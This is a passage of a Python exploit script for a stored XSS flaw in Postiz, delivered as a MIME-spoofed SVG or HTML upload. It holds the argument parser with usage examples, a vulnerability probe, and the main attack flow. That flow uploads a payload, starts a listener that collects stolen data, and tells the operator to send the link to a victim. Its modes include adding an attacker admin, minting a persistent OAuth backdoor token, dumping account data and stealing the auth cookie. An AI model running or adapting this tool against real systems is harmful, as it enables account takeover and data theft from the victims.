      %(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
          --lhost 10.0.0.1 -a add-admin --attacker-email hacker@evil.com

      # Get a persistent backdoor token (step 1 of the chain)
      %(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
          --lhost 10.0.0.1 -a create-oauth-app

      # Reuse the token to attack new victims without credentials
      %(prog)s http://target:5000 -t pos_XXXX...XXXX \\
          --lhost 10.0.0.1 -a full-dump

      # Arbitrary API call as the victim
      %(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
          --lhost 10.0.0.1 -a api-call --api-method POST \\
          --api-path /api/user/api-key/rotate

      # Route all traffic through Burp Suite
      %(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
          --lhost 10.0.0.1 -a full-dump --proxy http://127.0.0.1:8080
    """)

    p = argparse.ArgumentParser(
        description="Postiz Stored XSS via MIME-Spoofed File Upload",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=epilog,
    )

    p.add_argument("target", help="Postiz base URL (e.g. http://target:5000)")

    auth = p.add_argument_group("Authentication (use --email/--password OR --token)")
    auth.add_argument("--register", action="store_true",
                      help="Register a new account before login")
    auth.add_argument("-e", "--email", help="Account email")
    auth.add_argument("-p", "--password", help="Account password")
    auth.add_argument("-c", "--company", default="TestOrg",
                      help="Company name for registration (default: TestOrg)")
    auth.add_argument("-t", "--token",
                      help="OAuth token (pos_*) or API key, uploads via Public API (no account needed)")

    atk = p.add_argument_group("Attack")
    atk.add_argument("-a", "--attack", choices=sorted(ATTACKS.keys()),
                     metavar="MODE", help="Attack mode (see list below)")
    atk.add_argument("--check", action="store_true",
                     help="Probe if the target is vulnerable (upload benign SVG, check response headers). "
                          "Does not require --lhost or --attack.")
    atk.add_argument("--attacker-email",
                     help="Email for add-admin mode")
    atk.add_argument("--api-method", default="GET",
                     help="HTTP method for api-call mode (default: GET)")
    atk.add_argument("--api-path",
                     help="API path for api-call mode (e.g. /api/user/self)")
    atk.add_argument("--api-body",
                     help="JSON body for api-call mode")
    atk.add_argument("--custom-js",
                     help="JavaScript expression for custom mode")
    atk.add_argument("--edit-name", default="pwned",
                     help="Display name for edit-profile (default: pwned)")
    atk.add_argument("--edit-bio", default="Account compromised via Stored XSS",
                     help="Bio text for edit-profile")
    atk.add_argument("--oauth-redirect",
                     help="Redirect URL for create-oauth-app (default: https://attacker.evil/callback)")
    atk.add_argument("-f", "--format", choices=["svg", "html"], default="svg",
                     help="Payload file format (default: svg)")

    srv = p.add_argument_group("Exfiltration Server")
    srv.add_argument("--lhost",
                     help="Listener IP reachable by the victim's browser (required for attack modes)")
    srv.add_argument("--lport", type=int, default=8888,
                     help="Listener port (default: 8888)")

    net = p.add_argument_group("Network")
    net.add_argument("--proxy",
                     help="HTTP/SOCKS proxy URL (e.g. http://127.0.0.1:8080 for Burp)")

    out = p.add_argument_group("Output")
    out.add_argument("-o", "--output",
                     help="Path for loot JSON file (default: loot-TIMESTAMP.json)")

    return p


def validate_args(parser, args):
    """Check that mode-specific arguments are present."""
    if not args.check and not args.attack:
        parser.error("--attack or --check is required")
    if args.check:
        # --check only needs auth, no --lhost or --attack
        if not args.token and (not args.email or not args.password):
            parser.error("--email and --password are required (or use --token)")
        return
    if not args.token and (not args.email or not args.password):
        parser.error("--email and --password are required (or use --token)")
    if not args.lhost:
        parser.error("--lhost is required")
    if args.attack == "add-admin" and not args.attacker_email:
        parser.error("--attacker-email is required for add-admin mode")
    if args.attack == "api-call" and not args.api_path:
        parser.error("--api-path is required for api-call mode")
    if args.attack == "custom" and not args.custom_js:
        parser.error("--custom-js is required for custom mode")


def run_check(target, auth=None, token=None, cookie_flags=None):
    """Upload a benign SVG with spoofed MIME type and check if the target is vulnerable."""
    benign_svg = (
        '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
        '<rect width="1" height="1" fill="green"/></svg>'
    )
    info("Uploading benign .svg with Content-Type: image/png ...")
    filename = "check.svg"
    file_tuple = ("file", (filename, benign_svg.encode(), "image/png"))

    if token:
        r = requests.post(
            f"{target}/api/public/v1/upload",
            headers={"Authorization": token},
            files=[file_tuple],
            proxies=PROXIES, verify=VERIFY_SSL,
        )
    else:
        r = requests.post(
            f"{target}/api/media/upload-server",
            cookies={"auth": auth},
            files=[file_tuple],
            proxies=PROXIES, verify=VERIFY_SSL,
        )

    if r.status_code not in (200, 201):
        error(f"Upload failed ({r.status_code}): {r.text}")
        sys.exit(1)

    data = r.json()
    file_url = data.get("path", "")
    success(f"Uploaded: {file_url}")

    # Fetch the uploaded file and inspect response headers
    info("Fetching uploaded file to check response headers ...")
    r2 = requests.get(file_url, allow_redirects=True, proxies=PROXIES, verify=VERIFY_SSL)
    ct = r2.headers.get("Content-Type", "")
    xcto = r2.headers.get("X-Content-Type-Options", "")
    csp = r2.headers.get("Content-Security-Policy", "")

    # ── Upload & response header analysis ───────────────────────────
    print(f"\n  {_c(BOLD, 'Upload Analysis')}")
    print(f"    {_c(CYAN, 'URL')}:                     {file_url}")
    print(f"    {_c(CYAN, 'HTTP Status')}:             {r2.status_code}")
    print(f"    {_c(CYAN, 'Content-Type')}:            {ct or '(not set)'}")
    print(f"    {_c(CYAN, 'X-Content-Type-Options')}:  {xcto or '(not set)'}")
    print(f"    {_c(CYAN, 'Content-Security-Policy')}: {csp or '(not set)'}")

    vulnerable = True
    reasons = []

    # Check 1: file extension preserved (not renamed to .png)
    if not file_url.endswith(".svg"):
        reasons.append("File extension was sanitized (not .svg)")
        vulnerable = False

    # Check 2: Content-Type allows script execution
    if "svg" in ct or "html" in ct or "xhtml" in ct or "javascript" in ct:
        reasons.append(f"Content-Type '{ct}' allows script execution")
    else:
        reasons.append(f"Content-Type '{ct}' may block script execution")
        vulnerable = False

    # Check 3: CSP blocks scripts
    if csp and "script-src" in csp and "'none'" in csp:
        reasons.append(f"CSP blocks inline scripts (script-src 'none')")
        vulnerable = False

    # Check 4: nosniff header
    if xcto.lower() == "nosniff":
        reasons.append("X-Content-Type-Options: nosniff is set")

    print()
    for reason in reasons:
        print(f"    {_c(YELLOW, '>')} {reason}")

    print()
    if vulnerable:
        success("TARGET IS VULNERABLE to Stored XSS via MIME-spoofed upload (CVE-2026-40487)")
    else:
        error("Target does NOT appear vulnerable (upload is sanitized or CSP blocks execution)")

    # ── Cookie security analysis ────────────────────────────────────
    if cookie_flags is not None:
        print(f"\n  {_c(BOLD, 'Cookie Security')}")
        httponly = cookie_flags["httponly"]
        secure  = cookie_flags["secure"]
        samesite = cookie_flags["samesite"]

        print(f"    {_c(CYAN, 'HttpOnly')}:  {httponly}")
        print(f"    {_c(CYAN, 'Secure')}:    {secure}")
        print(f"    {_c(CYAN, 'SameSite')}: {samesite or '(not set)'}")

        cookie_issues = []
        if not httponly:
            cookie_issues.append("HttpOnly is NOT set — document.cookie exposes the auth JWT")
        if not secure:
            cookie_issues.append("Secure is NOT set — cookie sent over plain HTTP")
        if not samesite:
            cookie_issues.append("SameSite is NOT set — cookie attached on cross-origin requests")

        print()
        if cookie_issues:
            for issue in cookie_issues:
                print(f"    {_c(RED, '!')} {issue}")
            if not httponly:
                print()
                success("Cookie is NOT HttpOnly — direct cookie theft is possible!")
                print(f"    {_c(YELLOW, 'TIP')}: Use {_c(BOLD, '-a steal-cookie')} to exfiltrate the auth JWT.")
                print(f"    {_c(YELLOW, 'TIP')}: The JWT never expires — it grants permanent account access.")
        else:
            print(f"    {_c(GREEN, '>')} Cookie is properly protected (HttpOnly + Secure + SameSite)")
            print(f"    {_c(DIM, '  Note: session riding via fetch() still works (see -a full-dump)')}")
    elif token:
        print(f"\n  {_c(DIM, '  Cookie analysis skipped (token auth, no Set-Cookie to inspect)')}")


def main():
    banner()
    parser = build_parser()
    args = parser.parse_args()
    validate_args(parser, args)

    # ── Proxy configuration ──────────────────────────────────────────
    global PROXIES, VERIFY_SSL
    if args.proxy:
        PROXIES = {"http": args.proxy, "https": args.proxy}
        VERIFY_SSL = False
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        info(f"Using proxy: {args.proxy}")

    target = args.target.rstrip("/")

    # ── Check mode: vulnerability probe ─────────────────────────────
    if args.check:
        if args.token:
            info(f"Using token: {args.token[:12]}...")
            run_check(target, token=args.token)
        else:
            _, auth, cflags = authenticate(target, args.email, args.password,
                                           args.register, args.company)
            run_check(target, auth=auth, cookie_flags=cflags)
        return

    # ── Attack mode ─────────────────────────────────────────────────
    exfil_url = f"http://{args.lhost}:{args.lport}/loot"
    attack    = args.attack
    desc      = ATTACKS[attack][0]

    # 1. Authenticate (via credentials or token)
    if args.token:
        info(f"Using token: {args.token[:12]}...")
        auth = None
        token = args.token
    else:
        _, auth, _cflags = authenticate(target, args.email, args.password,
                                        args.register, args.company)
        token = None

    # 2. Generate JS payload
    info(f"Generating payload: {desc}")
    js_code = GENERATORS[attack](exfil_url, args)

    # 3. Wrap in the chosen file format
    wrapper = _html_wrapper if args.format == "html" else _svg_wrapper
    payload = wrapper(js_code)

    # 4. Upload (token mode uses Public API v1, credential mode uses internal API)
    victim_url = upload_payload(target, auth=auth, token=token,
                                content=payload, extension=args.format)

    # 5. Start exfil listener
    info(f"Starting exfiltration listener on 0.0.0.0:{args.lport} ...")
    start_exfil_server(args.lport, target)

    # 6. Display victim URL
    print(f"\n{'=' * 65}")
    print(f"{BOLD}{RED}  Send this URL to the victim:{RESET}")
    print(f"\n  {BOLD}{GREEN}{victim_url}{RESET}")
    print(f"\n{'=' * 65}")
    print(f"\n{_c(CYAN, '[*]')} Waiting for victim to open the link ...")
    print(f"{_c(DIM, '    Press Ctrl+C to stop and save loot')}\n")

    # 7. Wait
    try:
        threading.Event().wait()
    except KeyboardInterrupt:
        print()
        save_loot(args.output)


if __name__ == "__main__":
    main()